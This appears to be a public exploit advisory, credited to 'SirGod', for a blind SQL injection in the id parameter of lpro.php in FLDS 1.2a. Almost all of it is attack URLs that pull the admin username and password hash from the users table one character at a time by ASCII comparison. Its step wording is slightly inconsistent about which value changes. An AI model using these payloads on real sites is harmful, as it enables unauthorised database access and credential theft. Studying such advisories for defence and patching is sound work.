FLDS 1.2a Blind SQL Injection

`#########################################################################################################################  
[+] FLDS 1.2a lpro.php (id) Blind SQL Injection Vulnerability  
[+] Discovered By SirGod  
[+] Greetz : All my friends  
#########################################################################################################################  
  
[+] Blind SQL Injection  
  
- Get username :  
  
http://[target]/[path]/lpro.php?id=1 and ascii(substring((SELECT  
username from users limit 0,1),1,1))>96  
  
Query is true(page loads normally).Going to next ascii char.  
  
http://[target]/[path]/lpro.php?id=1 and ascii(substring((SELECT  
username from users limit 0,1),1,1))>97  
  
Query is false, first char of username is ascii(97) which is "a"  
  
Then move to next char of the username.Change the limit 1,1 to 2,1  
  
http://[target]/[path]/lpro.php?id=1 and ascii(substring((SELECT  
username from users limit 0,1),2,1))>99  
  
Query is true(page loads normally).Going to next ascii char.  
  
http://[target]/[path]/lpro.php?id=1 and ascii(substring((SELECT  
username from users limit 0,1),2,1))>100  
  
Query is false,second char of username is ascii(100) which is "d"  
  
And so on ... change the limit : 1,1 then 2,1 then 3,1 ... Username  
is : admin (Example)  
  
- Get password (hash) :  
  
http://[target]/[path]/lpro.php?id=1 and ascii(substring((SELECT  
password from users limit 0,1),1,1))>49  
  
Query is true(page loads normally).Going to next ascii char.  
  
http://[target]/[path]/lpro.php?id=1 and ascii(substring((SELECT  
password from users limit 0,1),1,1))>50  
  
Query is false, first char of username is ascii(50) which is "2" .  
  
Then move to next char of the password hash.Change the limit 1,1 to 2,1  
  
http://[target]/[path]/lpro.php?id=1 and ascii(substring((SELECT  
password from users limit 0,1),2,1))>48  
  
Query is true(page loads normally).Going to next ascii char.  
  
http://[target]/[path]/lpro.php?id=1 and ascii(substring((SELECT  
password from users limit 0,1),2,1))>49  
  
Query is false, first char of username is ascii(49) which is "1"  
  
And so on ... change the limit : 1,1 then 2,1 then 3,1 ... Password  
hash is : 21232f297a57a5a743894a0e4a801fc3 (Example)  
  
#########################################################################################################################  
`